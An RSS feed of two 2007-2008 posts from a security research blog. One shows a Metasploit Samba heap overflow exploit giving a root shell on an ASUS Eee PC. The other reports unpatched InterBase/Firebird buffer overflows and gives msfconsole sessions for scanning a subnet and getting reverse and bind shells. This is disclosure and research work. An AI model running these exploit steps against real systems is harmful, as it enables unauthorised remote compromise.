<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RISE Security &#187; module</title>
	<atom:link href="http://risesecurity.org/tag/module/feed/" rel="self" type="application/rss+xml" />
	<link>http://risesecurity.org</link>
	<description></description>
	<lastBuildDate>Fri, 02 Jul 2010 10:27:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>ASUS Eee PC Rooted Out of the Box</title>
		<link>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/</link>
		<comments>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 00:00:01 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=35</guid>
		<description><![CDATA[We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros [...]]]></description>
			<content:encoded><![CDATA[<p>We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros operating system installed, and some other bundled software like Mozilla Firefox, Pidgin, Skype and OpenOffice.org.</p>
<p>Analysing the running processes of the ASUS Eee PC, the first thing that caught our attention was the running smbd process (the sshd daemon was started by us, and is not enabled by default).</p>
<p><span id="more-35"></span></p>
<pre>eeepc-rise:/root&gt; ps -e
  PID TTY          TIME CMD
    1 ?        00:00:00 fastinit
    2 ?        00:00:00 ksoftirqd/0
    3 ?        00:00:00 events/0
    4 ?        00:00:00 khelper
    5 ?        00:00:00 kthread
   25 ?        00:00:00 kblockd/0
   26 ?        00:00:00 kacpid
  128 ?        00:00:00 ata/0
  129 ?        00:00:00 ata_aux
  130 ?        00:00:00 kseriod
  148 ?        00:00:00 pdflush
  149 ?        00:00:00 pdflush
  150 ?        00:00:00 kswapd0
  151 ?        00:00:00 aio/0
  152 ?        00:00:00 unionfs_siod/0
  778 ?        00:00:00 scsi_eh_0
  779 ?        00:00:00 scsi_eh_1
  799 ?        00:00:00 kpsmoused
  819 ?        00:00:00 kjournald
  855 ?        00:00:00 fastinit
  857 ?        00:00:00 sh
  858 ?        00:00:00 su
  859 tty3     00:00:00 getty
  862 ?        00:00:00 startx
  880 ?        00:00:00 xinit
  881 tty2     00:00:06 Xorg
  890 ?        00:00:00 udevd
  952 ?        00:00:00 ksuspend_usbd
  953 ?        00:00:00 khubd
 1002 ?        00:00:00 acpid
 1027 ?        00:00:00 pciehpd_event
 1055 ?        00:00:00 ifplugd
 1101 ?        00:00:00 scsi_eh_2
 1102 ?        00:00:00 usb-storage
 1151 ?        00:00:00 icewm
 1185 ?        00:00:01 AsusLauncher
 1186 ?        00:00:00 icewmtray
 1188 ?        00:00:01 powermonitor
 1190 ?        00:00:00 minimixer
 1191 ?        00:00:00 networkmonitor
 1192 ?        00:00:00 wapmonitor
 1193 ?        00:00:00 x-session-manag
 1195 ?        00:00:00 x-session-manag
 1200 ?        00:00:00 x-session-manag
 1201 ?        00:00:00 dispwatch
 1217 ?        00:00:00 cupsd
 1224 ?        00:00:00 usbstorageapple
 1234 ?        00:00:00 kondemand/0
 1240 ?        00:00:00 portmap
 1248 ?        00:00:00 keyboardstatus
 1272 ?        00:00:00 memd
 1279 ?        00:00:00 scim-helper-man
 1280 ?        00:00:00 scim-panel-gtk
 1282 ?        00:00:00 scim-launcher
 1297 ?        00:00:00 netserv
 1331 ?        00:00:00 asusosd
 1476 ?        00:00:00 xandrosncs-agen
 1775 ?        00:00:00 dhclient3
 2002 ?        00:00:00 nmbd
 2004 ?        00:00:00 smbd
 2005 ?        00:00:00 smbd
 2322 ?        00:00:00 sshd
 2345 ?        00:00:00 sshd
 2356 pts/0    00:00:00 bash
 2362 pts/0    00:00:00 ps
eeepc-rise:/root&gt;
</pre>
<p>Retrieving the the smbd version, we discovered that it runs a vulnerable version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit we published earlier last year.</p>
<pre>eeepc-rise:/root&gt; smbd --version
Version 3.0.24
eeepc-rise:/root&gt;
</pre>
<p>With this information, we ran our exploit against the ASUS Eee PC using the Debian/Ubuntu target (Xandros is based on Corel Linux, which is Debian based).</p>
<pre>msf &gt; use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) &gt; set RHOST 192.168.50.10
RHOST =&gt; 192.168.50.10
msf exploit(lsa_transnames_heap) &gt; set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD =&gt; linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux vsyscall
   1   Linux Heap Brute Force (Debian/Ubuntu)
   2   Linux Heap Brute Force (Gentoo)
   3   Linux Heap Brute Force (Mandriva)
   4   Linux Heap Brute Force (RHEL/CentOS)
   5   Linux Heap Brute Force (SUSE)
   6   Linux Heap Brute Force (Slackware)
   7   DEBUG

msf exploit(lsa_transnames_heap) &gt; set TARGET 1
TARGET =&gt; 1
msf exploit(lsa_transnames_heap) &gt; exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -&gt; 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) &gt; sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
</pre>
<p><strong>Easy</strong> to learn, <strong>Easy</strong> to work, <strong>Easy</strong> to root.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>InterBase/Firebird fun</title>
		<link>http://risesecurity.org/2007/10/03/interbasefirebird-fun/</link>
		<comments>http://risesecurity.org/2007/10/03/interbasefirebird-fun/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 00:00:59 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[auxiliary]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=32</guid>
		<description><![CDATA[While developing an exploit module for the Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good. We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the [...]]]></description>
			<content:encoded><![CDATA[<p>While developing an exploit module for the <a href="http://dvlabs.tippingpoint.com/advisory/TPTI-07-13">Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability</a>, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good.</p>
<p>We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird Relational Database. All remote, trivial to exploit, stack-based buffer overflows.</p>
<p><span id="more-32"></span></p>
<p>We contacted both Borland/CodeGear and Firebird developers about these vulnerabilities. After failed attempts to find an email address to report security issues in their products, we tried their bug tracking systems. Borland/CodeGear asked us to send information to their support email address, but we didn&#8217;t get any further responses. Firebird developers didn&#8217;t answer to our reports either, but they corrected these vulnerabilities in the latest version of Firebird.</p>
<p>We published the advisories, an auxiliary scanner module and exploit modules for some of these vulnerabilities for <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a>.</p>
<p>The auxiliary scanner module searches for running InterBase/Firebird instances on an address range and retrieves version and implementation of the InterBase server from InterBase Services Manager. This auxiliary module can be used to determine the exact target will be used in an exploitation scenario.</p>
<pre>msf &gt; use auxiliary/scanner/misc/ib_service_mgr_info
msf auxiliary(ib_service_mgr_info) &gt; set RHOSTS 192.168.213.0/24
RHOSTS =&gt; 192.168.213.0/24
msf auxiliary(ib_service_mgr_info) &gt; run
[*] Trying 192.168.213.0
[*] Trying 192.168.213.1
[*] Trying 192.168.213.2
...
[*] Trying 192.168.213.132
IP Address: 192.168.213.132
Version of the InterBase server: WI-V6.0.1.0
Implementation of the InterBase server: InterBase/x86/Windows NT

...
[*] Trying 192.168.213.253
[*] Trying 192.168.213.254
[*] Trying 192.168.213.255
[*] Auxiliary module execution completed
msf auxiliary(ib_service_mgr_info) &gt;
</pre>
<p>Using this information, one can select the exact target from one of our published exploit modules.</p>
<pre>msf auxiliary(ib_service_mgr_info) &gt; use windows/misc/ib_isc_attach_database
msf exploit(ib_isc_attach_database) &gt; set RHOST 192.168.213.132
RHOST =&gt; 192.168.213.132
msf exploit(ib_isc_attach_database) &gt; set LHOST 192.168.0.4
LHOST =&gt; 192.168.0.4
msf exploit(ib_isc_attach_database) &gt; set PAYLOAD windows/shell_reverse_tcp
PAYLOAD =&gt; windows/shell_reverse_tcp
msf exploit(ib_isc_attach_database) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Brute Force
   1   Borland InterBase WI-V8.1.0.257
   2   Borland InterBase WI-V8.0.0.123
   3   Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80
   4   Borland InterBase WI-V7.0.1.1
   5   Borland InterBase WI-V6.5.0.28
   6   Borland InterBase WI-V6.0.1.6
   7   Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0
   8   Borland InterBase WI-V5.5.0.742
   9   Borland InterBase WI-V5.1.1.680
   10  Debug

msf exploit(ib_isc_attach_database) &gt; set TARGET 7
TARGET =&gt; 7
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Command shell session 1 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33891)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>The brute force option assumes that ibguard/fbguard is running and tries every available target from an exploit module sequentially.</p>
<pre>msf exploit(ib_isc_attach_database) &gt; set TARGET 0
TARGET =&gt; 0
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Brute forcing with 10 possible targets
[*] Trying target Borland InterBase WI-V8.1.0.257...
[*] Trying target Borland InterBase WI-V8.0.0.123...
[*] Trying target Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80...
[*] Trying target Borland InterBase WI-V7.0.1.1...
[*] Trying target Borland InterBase WI-V6.5.0.28...
[*] Trying target Borland InterBase WI-V6.0.1.6...
[*] Trying target Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6
WI-O6.0.2.0...
[*] Command shell session 2 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33942)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>It is important to note that all Borland InterBase vulnerabilities published by us were not corrected by the vendor and are present in all (including the latest) versions of their product.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2007/10/03/interbasefirebird-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
